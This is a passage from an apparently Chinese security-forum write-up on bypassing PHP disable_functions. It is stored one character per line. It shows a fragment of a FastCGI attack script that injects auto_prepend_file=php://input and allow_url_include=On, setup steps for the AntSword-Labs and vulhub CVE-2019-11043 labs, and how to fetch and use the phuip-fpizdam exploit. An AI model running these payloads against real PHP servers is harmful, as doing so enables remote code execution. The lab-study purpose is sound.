a
l
h
o
s
t
"
,
'
S
E
R
V
E
R
_
P
R
O
T
O
C
O
L
'
:
'
H
T
T
P
/
1
.
1
'
,
'
C
O
N
T
E
N
T
_
T
Y
P
E
'
:
'
a
p
p
l
i
c
a
t
i
o
n
/
t
e
x
t
'
,
'
C
O
N
T
E
N
T
_
L
E
N
G
T
H
'
:
"
%
d
"
%
l
e
n
(
c
o
n
t
e
n
t
)
,
'
P
H
P
_
V
A
L
U
E
'
:
'
a
u
t
o
_
p
r
e
p
e
n
d
_
f
i
l
e
=
p
h
p
:
/
/
i
n
p
u
t
'
,
'
P
H
P
_
A
D
M
I
N
_
V
A
L
U
E
'
:
'
a
l
l
o
w
_
u
r
l
_
i
n
c
l
u
d
e
=
O
n
'
}
r
e
s
p
o
n
s
e
=
c
l
i
e
n
t
.
r
e
q
u
e
s
t
(
p
a
r
a
m
s
,
c
o
n
t
e
n
t
)
p
r
i
n
t
(
f
o
r
c
e
_
t
e
x
t
(
r
e
s
p
o
n
s
e
)
)
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
A
n
t
S
w
o
r
d
P
r
o
j
e
c
t
/
A
n
t
S
w
o
r
d
-
L
a
b
s
/
t
r
e
e
/
m
a
s
t
e
r
/
b
y
p
a
s
s
_
d
i
s
a
b
l
e
_
f
u
n
c
t
i
o
n
s
/
5
a
p
t
i
n
s
t
a
l
l
-
y
d
o
c
k
e
r
a
p
t
i
n
s
t
a
l
l
-
y
d
o
c
k
e
r
-
c
o
m
p
o
s
e
g
i
t
c
l
o
n
e
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
A
n
t
S
w
o
r
d
P
r
o
j
e
c
t
/
A
n
t
S
w
o
r
d
-
L
a
b
s
.
g
i
t
c
d
A
n
t
S
w
o
r
d
-
L
a
b
s
/
b
y
p
a
s
s
_
d
i
s
a
b
l
e
_
f
u
n
c
t
i
o
n
s
/
5
d
o
c
k
e
r
-
c
o
m
p
o
s
e
u
p
-
d
d
o
c
k
e
r
p
s
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
n
e
e
x
/
p
h
u
i
p
-
f
p
i
z
d
a
m
环
境
搭
建
地
址
:
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
v
u
l
h
u
b
/
v
u
l
h
u
b
/
t
r
e
e
/
m
a
s
t
e
r
/
p
h
p
/
C
V
E
-
2
0
1
9
-
1
1
0
4
3
环
境
搭
建
后
,
我
们
使
用
g
o
g
e
t
命
令
把
p
h
u
i
p
-
f
p
i
z
d
a
m
工
具
进
行
下
载
、
编
译
,
随
后
会
在
G
O
P
A
T
H
路
径
下
生
成
执
行
文
件
。
g
o
g
e
t
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
n
e
e
x
/
p
h
u
i
p
-
f
p
i
z
d
a
m
根
据
使
用
说
明
,
我
们
跟
u
r
l
进
行
请
求
。
然
后
请
求
a
参
数
接
命
令
即
可
。
总
结
总
结
可
以
先
使
用
蚁
剑
看
下
服
务
器
的
环
境
、
禁
用
了
哪
些
插
件
,
然
后
选
择
相
应
的
绕
过
方
式
。
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页